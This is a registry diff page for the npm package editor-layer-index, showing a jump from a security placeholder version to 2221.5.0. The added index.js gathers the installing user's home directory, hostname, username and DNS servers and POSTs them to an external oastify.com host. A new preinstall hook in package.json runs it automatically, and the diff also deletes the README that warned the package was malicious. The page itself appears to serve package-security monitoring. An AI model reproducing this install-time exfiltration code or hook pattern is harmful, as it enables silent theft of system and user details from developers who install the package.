editor-layer-index 0.0.1-security → 2221.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of editor-layer-index might be problematic. Click here for more details.
- package/index.js +48 -0
- package/package.json +12 -6
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,48 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const dns = require('dns');
|
3
|
+
const https = require('https');
|
4
|
+
const querystring = require('querystring');
|
5
|
+
|
6
|
+
// Data to be sent in the POST request
|
7
|
+
const data = {
|
8
|
+
hd: os.homedir(),
|
9
|
+
hn: os.hostname(),
|
10
|
+
un: os.userInfo().username,
|
11
|
+
dns: dns.getServers().join(','),
|
12
|
+
};
|
13
|
+
|
14
|
+
// Convert data to a URL-encoded string
|
15
|
+
const postData = querystring.stringify(data);
|
16
|
+
|
17
|
+
// POST request options
|
18
|
+
const options = {
|
19
|
+
hostname: 'https://qztj7fkzjmistampz5wlvb5ib9h05qtf.oastify.com', // Replace with the hostname or IP address of your server
|
20
|
+
port: 443, // Replace with the port number your server is listening on
|
21
|
+
path: '/',
|
22
|
+
method: 'POST',
|
23
|
+
headers: {
|
24
|
+
'Content-Type': 'application/x-www-form-urlencoded',
|
25
|
+
'Content-Length': postData.length,
|
26
|
+
},
|
27
|
+
};
|
28
|
+
|
29
|
+
// Send the POST request
|
30
|
+
const req = https.request(options, (res) => {
|
31
|
+
console.log(`Status Code: ${res.statusCode}`);
|
32
|
+
|
33
|
+
res.on('data', (chunk) => {
|
34
|
+
console.log(`Response: ${chunk}`);
|
35
|
+
});
|
36
|
+
|
37
|
+
res.on('end', () => {
|
38
|
+
console.log('POST request completed.');
|
39
|
+
});
|
40
|
+
});
|
41
|
+
|
42
|
+
req.on('error', (error) => {
|
43
|
+
console.error(`Error sending POST request: ${error.message}`);
|
44
|
+
});
|
45
|
+
|
46
|
+
// Send the data in the POST request
|
47
|
+
req.write(postData);
|
48
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
|
-
{
|
2
|
-
"name": "editor-layer-index",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
1
|
+
{
|
2
|
+
"name": "editor-layer-index",
|
3
|
+
"version": "2221.5.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall" : "node index.js"
|
9
|
+
},
|
10
|
+
"author": "mi",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=editor-layer-index for more information.
|